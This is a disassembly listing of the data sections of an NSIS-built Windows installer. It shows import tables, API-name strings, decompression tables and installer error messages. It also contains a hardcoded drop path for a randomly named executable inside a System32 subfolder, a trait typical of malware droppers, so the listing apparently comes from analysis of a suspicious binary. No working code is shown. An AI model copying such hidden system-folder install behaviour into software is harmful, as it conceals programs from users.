dword_40717C	dd 77D49525h		; DATA XREF: sub_4038DB+3Cr
					; sub_4038DB+447r
dword_407180	dd 77D4432Ah		; DATA XREF: sub_403E2A+30r
					; sub_403F0B+CEr
dword_407184	dd 77D43FEDh		; DATA XREF: sub_403E2A+1Dr
					; sub_404740+1B3r
dword_407188	dd 77D4630Dh		; DATA XREF: sub_403F0B+1F5r
dword_40718C	dd 77D47EE5h		; DATA XREF: sub_403F0B+1E6r
dword_407190	dd 77D4FF4Ah		; DATA XREF: sub_403F0B+8Br
dword_407194	dd 77D4822Bh		; DATA XREF: sub_404643+23r
dword_407198	dd 77D5BC81h		; DATA XREF: sub_404740+6r
dword_40719C	dd 77D5BA26h		; DATA XREF: sub_404CBD+B5r
dword_4071A0	dd 77D4747Ch		; DATA XREF: sub_404CBD+47r
dword_4071A4	dd 77D5E303h		; DATA XREF: sub_404EBC+36Fr
dword_4071A8	dd 77D6BB4Ch		; DATA XREF: sub_404EBC+369r
dword_4071AC	dd 77D6BB30h		; DATA XREF: sub_404EBC+319r
dword_4071B0	dd 77D5E310h		; DATA XREF: sub_404EBC+313r
dword_4071B4	dd 77D4F5CBh		; DATA XREF: sub_4038DB+48Ar
dword_4071B8	dd 77D5DD3Ah		; DATA XREF: sub_404EBC+293r
dword_4071BC	dd 77D49B9Ch		; DATA XREF: sub_404EBC+27Er
dword_4071C0	dd 77D477C0h		; DATA XREF: sub_404EBC+B3r
dword_4071C4	dd 77D6272Dh		; DATA XREF: sub_4052B9r
dword_4071C8	dd 77D6274Fh		; DATA XREF: sub_4052BF+13r
dword_4071CC	dd 77D6ADD7h		; DATA XREF: sub_4052DB+39r
dword_4071D0	dd 77D47322h		; DATA XREF: sub_4054E8+Fr
					; sub_40552F+14r ...
dword_4071D4	dd 77D441F2h		; DATA XREF: sub_405D18+17r
dword_4071D8	dd 77D46E60h		; DATA XREF: sub_405D18+Br
dword_4071DC	dd 77D5E69Dh		; DATA XREF: sub_402C37+166r
					; sub_4038DB+3F0r
dword_4071E0	dd 77D49A11h		; DATA XREF: sub_402C37+1A1r
					; sub_402C37+21Br ...
dword_4071E4	dd 77D444F0h		; DATA XREF: sub_402BAB+20r
dword_4071E8	dd 77D5BB6Ch		; DATA XREF: sub_402BAB+69r
					; sub_40380E+98r ...
dword_4071EC	dd 77D4B816h		; DATA XREF: sub_401439+76r
dword_4071F0	dd 77D47F34h		; DATA XREF: sub_401439+FCr
dword_4071F4	dd 77D4C96Ah		; DATA XREF: sub_401439+72Ar
					; sub_401439+A21r ...
dword_4071F8	dd 77D5C3E2h		; DATA XREF: sub_401439+842r
dword_4071FC	dd 77D651AFh		; DATA XREF: sub_401439+888r
dword_407200	dd 77D4DC11h		; DATA XREF: sub_403542+18Fr
					; sub_403542+267r
dword_407204	dd 77D4BBDBh		; DATA XREF: sub_403542+1A7r
dword_407208	dd 77D414D4h		; DATA XREF: sub_403542+1E0r
dword_40720C	dd 77D5D8BAh		; DATA XREF: sub_403542:loc_40377Cr
dword_407210	dd 77D650B3h		; DATA XREF: sub_403542+286r
dword_407214	dd 77D472ECh		; DATA XREF: start+D6r	sub_405513+Dr ...
dword_407218	dd 77D7BF7Ah		; DATA XREF: sub_404EBC+2C8r
dword_40721C	dd 77D902E3h		; DATA XREF: start+38Er
dword_407220	dd 77D45B19h		; DATA XREF: sub_401439+8A9r
dword_407224	dd 77D48AA8h		; DATA XREF: sub_401439+8CFr
					; sub_401439+8FFr ...
dword_407228	dd 77D49951h		; DATA XREF: sub_401439+8EEr
					; sub_4038DB+8Br ...
dword_40722C	dd 77D4D42Bh		; DATA XREF: sub_401439+92Dr
					; sub_403542+148r
dword_407230	dd 77D45F40h		; DATA XREF: sub_401439+95Cr
dword_407234	dd 77D4816Dh		; DATA XREF: sub_401439:loc_401E29r
					; sub_4038DB+2F6r ...
dword_407238	dd 77D4590Ch		; DATA XREF: sub_402908+21r
					; sub_404740+506r
dword_40723C	dd 77D4702Fh		; DATA XREF: sub_40136D+88r
					; sub_401439+85Ar ...
dword_407240	dd 77D46F5Bh		; DATA XREF: sub_401000:loc_40102Cr
dword_407244	dd 77D458EEh		; DATA XREF: sub_401000+47r
dword_407248	dd 77D45F23h		; DATA XREF: sub_401000+5Br
					; sub_401439+90Cr ...
dword_40724C	dd 77D463A6h		; DATA XREF: sub_401000:loc_4010E4r
dword_407250	dd 77D5C7A1h		; DATA XREF: sub_401148+Er
dword_407254	dd 77D458FDh		; DATA XREF: sub_401148:loc_40116Er
dword_407258	dd 77D47D27h		; DATA XREF: sub_401439+154r
					; sub_401439:loc_401E1Er ...
		align 10h
dword_407260	dd 77C015E3h		; DATA XREF: sub_406BF8r
dword_407264	dd 77C0162Dh		; DATA XREF: sub_406BF2r
dword_407268	dd 77C0167Dh		; DATA XREF: sub_406BECr
		align 10h
dword_407270	dd 771C8E66h		; DATA XREF: start+21r	sub_404E50+10r
dword_407274	dd 771F5164h		; DATA XREF: start+1D1r sub_404E50+5Cr
dword_407278	dd 771C1E56h		; DATA XREF: sub_4020F4+5r
		align 10h
aShlwapi_dll	db 'shlwapi.dll',0      ; DATA XREF: sub_404201+A8o
aShautocomplete	db 'SHAutoComplete',0   ; DATA XREF: sub_404201+A3o
		align 4
a_defaultContro	db '.DEFAULT\Control Panel\International',0 ; DATA XREF: sub_403542+62o
		align 4
aLocale		db 'Locale',0           ; DATA XREF: sub_403542+5Do
		align 4
aControlPanelDe	db 'Control Panel\Desktop\ResourceLocale',0 ; DATA XREF: sub_403542+45o
		align 4
aGetuserdefault	db 'GetUserDefaultUILanguage',0 ; DATA XREF: sub_403542+Do
		align 10h
aD		db '%d',0               ; DATA XREF: sub_405939+4o
		align 4
byte_407314	db 10h			; DATA XREF: sub_405DB9+3C0r
					; sub_405DB9+3E7r
		db 11h,	12h, 0
		dd 6090708h, 40B050Ah, 20D030Ch, 0F010Eh
dword_407328	dd 40003h, 60005h, 80007h, 0A0009h, 0D000Bh, 11000Fh, 170013h
					; DATA XREF: sub_405DB9+162o
					; sub_405DB9+5C5o
		dd 1F001Bh, 2B0023h, 3B0033h, 530043h, 730063h,	0A30083h
		dd 0E300C3h, 102h, 0
dword_407368	dd 4 dup(0)		; DATA XREF: sub_405DB9+15Do
					; sub_405DB9+5C0o
		dd 2 dup(10001h), 2 dup(20002h), 2 dup(30003h),	2 dup(40004h)
		dd 2 dup(50005h), 700000h, 70h
dword_4073A8	dd 20001h, 40003h, 70005h, 0D0009h, 190011h, 310021h, 610041h
					; DATA XREF: sub_405DB9+197o
					; sub_405DB9+605o
		dd 0C10081h, 1810101h, 3010201h, 6010401h, 0C010801h, 18011001h
		dd 30012001h, 60014001h
dword_4073E4	dd 2 dup(0)		; DATA XREF: sub_405DB9+192o
					; sub_405DB9+600o
		dd 10001h, 20002h, 30003h, 40004h, 50005h, 60006h, 70007h
		dd 80008h, 90009h, 0A000Ah, 0B000Bh, 0C000Ch, 0D000Dh
dword_407420	dd 214EEh, 0		; DATA XREF: sub_4020E8+4o
		dd 0C0h, 46000000h
dword_407430	dd 21401h, 0		; DATA XREF: sub_4020F4o
		dd 0C0h, 46000000h
dword_407440	dd 10Bh, 0		; DATA XREF: sub_4020F4+1Ao
		dd 0C0h, 46000000h, 7564h, 2 dup(0)
		dd 7B6Eh, 7060h, 7670h,	2 dup(0)
		dd 7F48h, 716Ch, 7540h,	2 dup(0)
		dd 7FDAh, 703Ch, 7650h,	2 dup(0)
		dd 8074h, 714Ch, 7504h,	2 dup(0)
		dd 8116h, 7000h, 752Ch,	2 dup(0)
		dd 8162h, 7028h, 7774h,	2 dup(0)
		dd 81A6h, 7270h, 7764h,	2 dup(0)
		dd 81F2h, 7260h, 5 dup(0)
		dd 809Eh, 80B2h, 8090h,	8080h, 8106h, 80F6h, 80E4h, 80D6h
		dd 80C4h, 0
		dd 8138h, 8124h, 80000011h, 814Eh, 0
		dd 7FCCh, 7FBCh, 7FACh,	7F96h, 7F80h, 7F74h, 7F64h, 7F54h
		dd 0
		dd 792Eh, 793Ch, 794Ah,	795Ch, 796Ah, 797Eh, 7992h, 799Eh
		dd 79B6h, 79CCh, 79DCh,	79F0h, 7A06h, 7A0Eh, 7A1Ch, 7A32h
		dd 7A42h, 7922h, 7A62h,	7A70h, 7A82h, 7A9Ah, 7AAAh, 7AB6h
		dd 7ACAh, 7ADAh, 7AE8h,	7AF8h, 7B0Ah, 7B1Eh, 7B2Ch, 7B40h
		dd 7B4Ch, 7B58h, 7916h,	78FCh, 78E0h, 78D2h, 78C4h, 78AEh
		dd 7898h, 7888h, 7874h,	7864h, 7852h, 7844h, 782Eh, 7810h
		dd 77F4h, 77E8h, 77DCh,	7784h, 77CAh, 77BEh, 77AEh, 779Ch
		dd 778Eh, 7A56h, 0
		dd 8048h, 8030h, 801Ah,	8008h, 7FF8h, 7FE4h, 8056h, 0
		dd 7D76h, 7D88h, 7D98h,	7DA8h, 7DBAh, 7DCAh, 7DD8h, 7DEAh
		dd 7DF6h, 7E04h, 7E16h,	7E26h, 7E34h, 7E46h, 7E58h, 7E6Ah
		dd 7E7Eh, 7E90h, 7D6Ah,	7EB2h, 7EC0h, 7ED2h, 7EE6h, 7EF8h
		dd 7F0Ah, 7F18h, 7F24h,	7F38h, 7CDAh, 7CCAh, 7CBEh, 7CACh
		dd 7C9Ah, 7C84h, 7C6Ah,	7C54h, 7C44h, 7D58h, 7D40h, 7D2Eh
		dd 7D1Eh, 7D0Ch, 7D00h,	7EA0h, 7CF0h, 7C38h, 7C2Ah, 7C18h
		dd 7C0Ah, 7C02h, 7BF2h,	7BE0h, 7BD0h, 7BBEh, 7BB0h, 7BA0h
		dd 7B94h, 7B88h, 7B7Ch,	7C76h, 0
		dd 81D8h, 81C2h, 81B0h,	0
		dd 8196h, 8184h, 8170h,	0
		db  6Ah	; j
		db 2, 4Dh, 75h
aLdiv		db 'lDiv',0
		align 2
		db '|',0
aDeletefilea	db 'DeleteFileA',0
		db 'É',0
aFindfirstfilea	db 'FindFirstFileA',0
		align 2
		db 'Ó',0
aFindnextfilea	db 'FindNextFileA',0
		db 'Å',0
aFindclose	db 'FindClose',0
		dw 310h
aSetfilepointer	db 'SetFilePointer',0
		align 4
		db 0ABh	; «
		db 2, 52h, 65h
aAdfile		db 'adFile',0
		align 4
		db  97h	; —
		db 3, 57h, 72h
aItefile	db 'iteFile',0
		db  94h	; ”
		db 1, 47h, 65h
aTprivateprofil	db 'tPrivateProfileStringA',0
		align 10h
		db  9Ch	; œ
		db 3, 57h, 72h
aIteprivateprof	db 'itePrivateProfileStringA',0
		align 2
		dw 26Bh
aMultibytetowid	db 'MultiByteToWideChar',0
aQ		db 'ï',0
aFreelibrary	db 'FreeLibrary',0
		dw 198h
aGetprocaddress	db 'GetProcAddress',0
		align 4
		db  48h	; H
		db 2, 4Ch, 6Fh
aAdlibrarya	db 'adLibraryA',0
		align 4
		db  77h	; w
		db 1, 47h, 65h
aTmodulehandlea	db 'tModuleHandleA',0
		align 4
		db  0Ah
		db 3, 53h, 65h
aTerrormode	db 'tErrorMode',0
		align 4
		db  52h	; R
		db 1, 47h, 65h
aTexitcodeproce	db 'tExitCodeProcess',0
		align 2
		dw 385h
aWaitforsingleo	db 'WaitForSingleObject',0
		db 0EEh	; î
		db 1, 47h, 6Ch
aObalalloc	db 'obalAlloc',0
		dw 1F5h
aGlobalfree	db 'GlobalFree',0
		align 10h
		db '²',0
aExpandenvironm	db 'ExpandEnvironmentStringsA',0
		db  50h	; P
		db 1, 47h, 65h
aTenvironmentva	db 'tEnvironmentVariableA',0
		dw 3B3h
aLstrcmpa	db 'lstrcmpA',0
		align 2
		dw 3B6h
aLstrcmpia	db 'lstrcmpiA',0
a__0		db '.',0
aClosehandle	db 'CloseHandle',0
		dd 65530314h, 6C694674h, 6D695465h, 330065h, 706D6F43h
		dd 46657261h, 54656C69h, 656D69h, 655302D0h, 68637261h
		dd 68746150h, 1AD0041h
aGetshortpathna	db 'GetShortPathNameA',0
		dw 161h
aGetfullpathnam	db 'GetFullPathNameA',0
		align 2
		dw 264h
aMovefilea	db 'MoveFileA',0
		dw 2FFh
aSetcurrentdire	db 'SetCurrentDirectoryA',0
		align 2
		dw 156h
aGetfileattribu	db 'GetFileAttributesA',0
		align 4
		dd 65470169h, 73614C74h, 72724574h, 726Fh, 72430045h, 65746165h
		dd 65726944h, 726F7463h, 4179h,	6553030Eh, 6C694674h, 74744165h
		dd 75626972h, 41736574h, 3490000h, 65656C53h, 15B0070h
		dd 46746547h, 53656C69h, 657A69h, 65470175h, 646F4D74h
		dd 46656C75h, 4E656C69h, 41656D61h, 1D50000h, 54746547h
		dd 436B6369h, 746E756Fh, 13A0000h, 43746547h, 65727275h
		dd 7250746Eh, 7365636Fh, 3D0073h, 79706F43h, 656C6946h
		dd 0AF0041h, 74697845h,	636F7250h, 737365h, 65470108h
		dd 6D6F4374h, 646E616Dh, 656E694Ch, 1E90041h, 57746547h
		dd 6F646E69h, 69447377h, 74636572h, 4179726Fh, 1CB0000h
		dd 54746547h, 50706D65h, 41687461h, 3BC0000h, 7274736Ch
		dd 6E797063h, 1450041h,	44746547h, 466B7369h, 53656572h
		dd 65636170h, 2000041h,	626F6C47h, 6E556C61h, 6B636F6Ch
		dd 1F90000h, 626F6C47h,	6F4C6C61h, 6B63h, 72430069h, 65746165h
		dd 65726854h, 6461h, 72430060h,	65746165h, 636F7250h, 41737365h
		dd 2BA0000h, 6F6D6552h,	69446576h, 74636572h, 4179726Fh
		dd 4D0000h, 61657243h, 69466574h, 41656Ch, 654701C9h, 6D655474h
		dd 6C694670h, 6D614E65h, 4165h,	736C03BFh, 656C7274h, 416Eh
		dd 736C03B0h, 61637274h, 4174h,	654701B9h, 73795374h, 446D6574h
		dd 63657269h, 79726F74h, 454B0041h, 4C454E52h, 642E3233h
		dd 6C6Ch, 6E4500C8h, 69615064h,	746Eh, 724400BCh, 65547761h
		dd 417478h, 694600E2h, 65526C6Ch, 7463h, 654700FFh, 696C4374h
		dd 52746E65h, 746365h, 6542000Dh, 506E6967h, 746E6961h
		dd 8E0000h, 57666544h, 6F646E69h, 6F725077h, 4163h, 6553023Ah
		dd 654D646Eh, 67617373h, 4165h,	6E490193h, 696C6176h, 65746164h
		dd 74636552h, 0C40000h,	62616E45h, 6957656Ch, 776F646Eh
		dd 10C0000h, 44746547h,	1BF0043h, 64616F4Ch, 67616D49h
		dd 4165h, 6553027Fh, 6E695774h,	4C776F64h, 41676E6Fh, 1110000h
		dd 44746547h, 7449676Ch, 6D65h,	734901ADh, 646E6957h, 776Fh
		dd 694600E4h, 6957646Eh, 776F646Eh, 417845h, 6553023Dh
		dd 654D646Eh, 67617373h, 6D695465h, 74756F65h, 2D50041h
		dd 72707377h, 66746E69h, 2910041h, 776F6853h, 646E6957h
		dd 776Fh, 65530256h, 726F4674h,	6F726765h, 57646E75h, 6F646E69h
		dd 2030077h, 74736F50h,	74697551h, 7373654Dh, 656761h
		dd 65530285h, 6E695774h, 54776F64h, 41747865h, 2790000h
		dd 54746553h, 72656D69h, 990000h, 74736544h, 57796F72h
		dd 6F646E69h, 550077h, 61657243h, 69446574h, 676F6C61h
		dd 61726150h, 416Dh, 784500E1h,	69577469h, 776F646Eh, 784573h
		dd 6843002Ah, 654E7261h, 417478h, 6944009Eh, 676F6C61h
		dd 50786F42h, 6D617261h, 0F60041h, 43746547h, 7373616Ch
		dd 6F666E49h, 600041h, 61657243h, 69576574h, 776F646Eh
		dd 417845h, 79530298h, 6D657473h, 61726150h, 6574656Dh
		dd 6E497372h, 416F66h, 65520215h, 74736967h, 6C437265h
		dd 41737361h, 0C60000h,	44646E45h, 6F6C6169h, 2300067h
		dd 65726353h, 6F546E65h, 65696C43h, 746Eh, 65470174h, 6E695774h
		dd 52776F64h, 746365h, 65530246h, 616C4374h, 6F4C7373h
		dd 41676Eh, 734901AEh, 646E6957h, 6E45776Fh, 656C6261h
		dd 2820064h, 57746553h,	6F646E69h, 736F5077h, 15A0000h
		dd 53746547h, 6F437379h, 726F6Ch, 6547016Eh, 6E695774h
		dd 4C776F64h, 41676E6Fh, 24C0000h, 43746553h, 6F737275h
		dd 1B90072h, 64616F4Ch,	73727543h, 41726Fh, 68430038h
		dd 446B6365h, 7542676Ch, 6E6F7474h, 13C0000h, 4D746547h
		dd 61737365h, 6F506567h, 1B70073h, 64616F4Ch, 6D746942h
		dd 417061h, 6143001Bh, 69576C6Ch, 776F646Eh, 636F7250h
		dd 1B10041h, 69577349h,	776F646Eh, 69736956h, 656C62h
		dd 6C430042h, 4365736Fh, 6270696Ch, 6472616Fh, 2490000h
		dd 43746553h, 6270696Ch, 6472616Fh, 61746144h, 0C10000h
		dd 74706D45h, 696C4379h, 616F6270h, 6472h, 704F01F5h, 6C436E65h
		dd 6F627069h, 647261h, 725402A3h, 506B6361h, 7075706Fh
		dd 756E654Dh, 80000h, 65707041h, 654D646Eh, 41756Eh, 7243005Eh
		dd 65746165h, 75706F50h, 6E654D70h, 15D0075h, 53746547h
		dd 65747379h, 74654D6Dh, 73636972h, 2520000h, 44746553h
		dd 7449676Ch, 65546D65h, 417478h, 65470113h, 676C4474h
		dd 6D657449h, 74786554h, 1DE0041h, 7373654Dh, 42656761h
		dd 41786Fh, 6843002Dh, 72507261h, 417665h, 694400A1h, 74617073h
		dd 654D6863h, 67617373h, 4165h,	655001FFh, 654D6B65h, 67617373h
		dd 4165h, 52455355h, 642E3233h,	6C6Ch, 6553020Eh, 7463656Ch
		dd 656A624Fh, 7463h, 6553023Ch,	78655474h, 6C6F4374h, 726Fh
		dd 65530216h, 4D6B4274h, 65646Fh, 7243003Ah, 65746165h
		dd 746E6F46h, 69646E49h, 74636572h, 290041h, 61657243h
		dd 72426574h, 49687375h, 7269646Eh, 746365h, 6544008Fh
		dd 6574656Ch, 656A624Fh, 7463h,	6547016Bh, 76654474h, 43656369h
		dd 737061h, 65530215h, 436B4274h, 726F6C6Fh, 44470000h
		dd 2E323349h, 6C6C64h, 4853009Ah, 656C6946h, 7265704Fh
		dd 6F697461h, 416Eh, 68530107h,	456C6C65h, 75636578h, 416574h
		dd 485300ACh, 46746547h, 49656C69h, 416F666Eh, 790000h
		dd 72424853h, 6573776Fh, 46726F46h, 65646C6Fh, 4172h, 485300BCh
		dd 50746547h, 46687461h, 496D6F72h, 73694C44h, 4174h, 485300B7h
		dd 4D746547h, 6F6C6C61h, 0C30063h, 65474853h, 65705374h
		dd 6C616963h, 646C6F46h, 6F4C7265h, 69746163h, 6E6Fh, 4C454853h
		dd 2E32334Ch, 6C6C64h, 655201D9h, 756E4567h, 6C61566Dh
		dd 416575h, 655201D5h, 756E4567h, 79654B6Dh, 1EC0041h
		dd 51676552h, 79726575h, 756C6156h, 41784565h, 1F90000h
		dd 53676552h, 61567465h, 4565756Ch, 4178h, 655201CDh, 65724367h
		dd 4B657461h, 78457965h, 1C90041h, 43676552h, 65736F6Ch
		dd 79654Bh, 655201D2h, 6C654467h, 56657465h, 65756C61h
		dd 1D00041h, 44676552h,	74656C65h, 79654B65h, 1E20041h
		dd 4F676552h, 4B6E6570h, 78457965h, 44410041h, 49504156h
		dd 642E3233h, 6C6Ch, 6D490038h,	4C656761h, 5F747369h, 74736544h
		dd 796F72h, 6D490034h, 4C656761h, 5F747369h, 4D646441h
		dd 656B7361h, 370064h, 67616D49h, 73694C65h, 72435F74h
		dd 65746165h, 4F430000h, 4C54434Dh, 642E3233h, 6C6Ch, 6F430010h
		dd 61657243h, 6E496574h, 6E617473h, 6563h, 6C4F0104h, 696E5565h
		dd 6974696Eh, 7A696C61h, 0ED0065h, 49656C4Fh, 6974696Eh
		dd 7A696C61h, 6C6F0065h, 2E323365h, 6C6C64h, 6556000Ah
		dd 65755172h, 61567972h, 4165756Ch, 0
aGetfileversion	db 'GetFileVersionInfoA',0
		db    1
		align 2
aGetfileversi_0	db 'GetFileVersionInfoSizeA',0
aVersion_dll	db 'VERSION.dll',0
_rdata		ends

; Section 3. (virtual address 00009000)
; Virtual size			: 000264D4 ( 156884.)
; Section size in file		: 000264D4 ( 156884.)
; Offset to raw	data for section: 00009000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_data		segment	para public 'DATA' use32
		assume cs:_data
		;org 409000h
off_409000	dd offset dword_42F4A0	; DATA XREF: sub_402050:loc_402059o
		dd offset sub_40136D
		dd offset sub_405C17
dword_40900C	dd 6			; DATA XREF: sub_401439+AFr
					; sub_401439:loc_401502w
dword_409010	dd 5Ch			; DATA XREF: sub_401FA0+8o
					; sub_40531D:loc_405392o ...
aSS		db '%s %s',0            ; DATA XREF: sub_401439+A15o
		align 4
asc_40901C	db '->',0               ; DATA XREF: sub_401439+270o
		align 10h
dword_409020	dd 0FFFFFFFFh		; DATA XREF: sub_402C37+4Ew
					; sub_4030E9+11r ...
		align 8
aTheInstallerYo	db 'The installer you are trying to use is corrupted or incomplete.',0Ah
					; DATA XREF: sub_402C37:loc_402E42o
		db 'This could be the result of a damaged disk, a failed download or '
		db 'a virus.',0Ah
		db 0Ah
		db 'You may want to contact the author of this installer to obtain a '
		db 'new copy.',0Ah
		db 0Ah
		db 'It may be possible to skip this check using the /NCRC command lin'
		db 'e switch',0Ah
		db '(NOT RECOMMENDED).',0
aVerifyingInsta	db 'verifying installer: %d%%',0 ; DATA XREF: sub_402C37+152o
		align 4
aErrorLaunching	db 'Error launching installer',0 ; DATA XREF: sub_402C37+56o
					; start+18Do
		align 4
a___D		db '... %d%%',0         ; DATA XREF: sub_402EBD+141o
		align 10h
aAu__exe	db 'Au_.exe',0          ; DATA XREF: start+225o
					; start:loc_403450w
aSeshutdownpriv	db 'SeShutdownPrivilege',0 ; DATA XREF: start+364o
aAdjusttokenpri	db 'AdjustTokenPrivileges',0 ; DATA XREF: start+32Eo
		align 4
aLookupprivileg	db 'LookupPrivilegeValueA',0 ; DATA XREF: start+321o
		align 4
aOpenprocesstok	db 'OpenProcessToken',0 ; DATA XREF: start+316o
		align 10h
aAdvapi32_dll	db 'ADVAPI32.dll',0     ; DATA XREF: start+311o
		align 10h
a_?		db ' _?=',0             ; DATA XREF: start+2BEo
		align 4
asc_409218	db '" ',0               ; DATA XREF: start:loc_40340Fo
		align 4
aNsu_tmp	db '~nsu.tmp\',0        ; DATA XREF: start:loc_403358o
		align 4
aTemp		db '\Temp',0            ; DATA XREF: start+78o
		align 10h
aNsisError	db 'NSIS Error',0       ; DATA XREF: start+43o
		align 10h
aErrorWritingTe	db 'Error writing temporary file. Make sure your temp folder is valid'
					; DATA XREF: start+10o
		db '.',0
		align 4
dword_409284	dd 0FFFFFFFFh		; DATA XREF: sub_4038DB+A4r
					; sub_4038DB+120r ...
off_409288	dd offset sub_403F0B	; DATA XREF: sub_4038DB+3D4r
		dd offset sub_4046C3
		dd offset sub_404201
		dd offset sub_404EBC
		dd offset sub_4041BA
dword_40929C	dd 0FFFFFFFFh		; DATA XREF: sub_404CBD+2Fw
					; sub_404CBD+6Ar ...
dword_4092A0	dd 6			; DATA XREF: sub_401439+B4w
					; sub_401439:loc_4014F7r ...
aRichedit20a	db 'RichEdit20A',0      ; DATA XREF: sub_403542+240o
					; sub_403542+251w ...
aRiched20_dll	db 'RichEd20.dll',0     ; DATA XREF: sub_403542+222o
					; sub_403542+22Fw
		align 10h
a_exe		db '.exe',0             ; DATA XREF: sub_403542+EEo
		align 4
aKernel32_dll	db 'KERNEL32.dll',0     ; DATA XREF: sub_403542+12o
					; sub_404201+1E9o ...
		align 4
aOpen		db 'open',0             ; DATA XREF: sub_403F0B+207o
		align 10h
aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_404201:loc_4043E5o
aU_USS		db '%u.%u%s%s',0        ; DATA XREF: sub_40459F+3Ao
		align 10h
a_		db '\*.*',0             ; DATA XREF: sub_40531D+62o
		align 4
asc_409308	db 0Ah			; DATA XREF: sub_405723+182o
		db '[',0
		align 4
aRename		db '[Rename]',0Dh,0Ah,0 ; DATA XREF: sub_405723+116o
					; sub_405723+128o
		align 4
aWininit_ini	db '\wininit.ini',0     ; DATA XREF: sub_405723+B0o
		align 4
aSS_0		db '%s=%s',0Dh,0Ah,0    ; DATA XREF: sub_405723+8Fo
aMovefileexa	db 'MoveFileExA',0      ; DATA XREF: sub_405723+4o
aCProgramFiles	db 'C:\Program Files',0 ; DATA XREF: sub_4059FD+F7o
		align 10h
aProgramfilesdi	db 'ProgramFilesDir',0  ; DATA XREF: sub_4059FD+DAo
aSoftwareMicros	db 'Software\Microsoft\Windows\CurrentVersion',0 ; DATA XREF: sub_4059FD+C3o
					; sub_4059FD+DFo
		align 4
aCommonfilesdir	db 'CommonFilesDir',0   ; DATA XREF: sub_4059FD+BEo
		align 4
aMicrosoftInter	db '\Microsoft\Internet Explorer\Quick Launch',0 ; DATA XREF: sub_4059FD+ACo
		align 4
a?		db '*?|<>/":',0         ; DATA XREF: sub_405C17+48o
		align 4
word_4093D4	dw 0			; DATA XREF: sub_405DB9+47Cr
					; sub_405DB9+501r ...
		dw 1
		dd 70003h, 1F000Fh, 7F003Fh, 1FF00FFh, 7FF03FFh, 1FFF0FFFh
		dd 7FFF3FFFh, 0FFFFh
byte_4093F8	db 9			; DATA XREF: sub_405DB9+153o
					; sub_405DB9:loc_405F69r
		align 4
byte_4093FC	db 5			; DATA XREF: sub_405DB9+188o
					; sub_405DB9+1B8r
		align 10h
dword_409400	dd 0			; DATA XREF: sub_401439+97Cw
					; sub_401439:loc_401DF8o
		align 10h
dword_409410	dd 0			; DATA XREF: sub_401439+986w
byte_409414	db 0			; DATA XREF: sub_401439+99Dw
byte_409415	db 0			; DATA XREF: sub_401439+9AFw
byte_409416	db 0			; DATA XREF: sub_401439:loc_401DEEw
byte_409417	db 0			; DATA XREF: sub_401439+996w
		dd 0
dword_40941C	dd 8 dup(0)		; DATA XREF: sub_401439:loc_401DE3o
dword_40943C	dd 12FDC0h		; DATA XREF: sub_401439+3Ew
					; sub_402A7D+4r ...
word_409440	dw 0			; DATA XREF: sub_4020F4+A8o
					; sub_4020F4+B8w
		align 4
		dd 1FFh	dup(0)
aCWindowsSyst_1	db 'C:\WINDOWS\System32\b06FdUe\b06FdUe1083.exe',0
					; DATA XREF: sub_401439+380o
					; sub_401439+75Fo ...
		dd 0F5h	dup(0)
aCWindowsSystem	db 'C:\WINDOWS\System32\b06FdUe',0 ; DATA XREF: sub_401428o
					; sub_401439+246o ...
		dd 0F9h	dup(0)
dword_40A440	dd 0			; DATA XREF: sub_401439+3AEo
					; sub_4021F6+31o ...
		dd 0FFh	dup(0)
aB06fdue1083_ex	db 'b06FdUe1083.exe',0
		dd 1FCh	dup(0)
dword_40B040	dd 0			; DATA XREF: sub_401439+73Br
					; sub_401439+76Br ...
		align 8
dword_40B048	dd 0			; DATA XREF: sub_402BAB+2Cw
					; sub_402BAB+57r
		align 10h
off_40B050	dd offset byte_416C9D	; DATA XREF: sub_402EBD+D4w
					; sub_402EBD+E6o
dword_40B054	dd 0			; DATA XREF: sub_402EBD+DAw
off_40B058	dd offset aHDnz		; DATA XREF: sub_402EBD+EBw
					; sub_402EBD+106r ...
					; "Ù;h{¤­‡Û"
dword_40B05C	dd 0			; DATA XREF: sub_402EBD+F1w
dword_40B060	dd 0Fh			; DATA XREF: sub_402EBD+86w
		align 8
		dd offset dword_40BF50
		dd 4, 609h, 40B580h, 40BF90h, 8, 0Ah, 2	dup(9),	8, 2 dup(9)
		dd 0Ah,	8, 0Ah,	9, 2 dup(8), 9,	0Ah, 9,	2 dup(8), 2 dup(0Ah)
		dd 9, 0Ah, 0Bh,	0Ah, 2 dup(9), 0Ah, 9, 8, 9, 0Bh, 0Ah
		dd 9, 2	dup(0Bh), 0Ah, 8, 5 dup(0Ah), 8, 9, 2 dup(8), 3	dup(9)
		dd 8, 3	dup(9),	0Ah, 9,	0Ah, 2 dup(9), 0Ah, 8, 7, 2 dup(9)
		dd 2 dup(8), 7,	9, 0Ah,	2 dup(8), 0Ah, 9, 8, 7,	2 dup(9)
		dd 2 dup(7), 8,	9, 8, 7, 2 dup(8), 9, 0Ah, 9, 0Ah, 2 dup(9)
		dd 0Ah,	8, 9, 8, 9, 8, 7, 6, 2 dup(8), 7, 2 dup(8), 0Ah
		dd 8, 9, 2 dup(8), 7, 0Ah, 7, 6, 7, 8, 2 dup(9), 8, 0Ah
		dd 0Bh,	0Ah, 9,	8, 0Ah,	9, 8, 0Bh, 0
		dd 3 dup(9), 0Ah, 0Bh, 8, 6, 0Bh, 6, 0Ah, 7, 0Ah, 0Ch
		dd 9, 3	dup(0Ah), 2 dup(9), 0Bh, 0Ch, 8, 0Bh, 0Ah, 0Ch
		dd 0Ah,	3 dup(0Bh), 0Ah, 2 dup(0Bh), 0
		dd 9, 0Dh, 2 dup(0Bh), 8, 0Ch, 2 dup(0Bh), 0Ah,	3 dup(0Ch)
		dd 9, 0
		dd 2 dup(0Ch), 9, 0Ah, 0Ch, 0Ah, 8, 0Ch, 9, 0Bh, 8, 0Ah
		dd 0Ch,	0Bh, 8,	0Ah, 0Bh, 2 dup(9), 0Bh, 0Ch, 8, 9, 0Ch
		dd 0Bh,	0Dh, 8,	0Bh, 0Dh, 0Ah, 8, 0Bh, 0Dh, 0Ah, 9, 0Ch
		dd 2 dup(9), 8,	0Dh, 0Ch, 0Ah, 8, 0Ch, 0Dh, 0Ch, 9, 0Dh
		dd 2 dup(0Ch), 9, 0Ch, 0Bh, 0Ch, 8, 0Ah, 0Dh, 2	dup(9)
		dd 0Ch,	0Ah, 0Bh, 9, 0
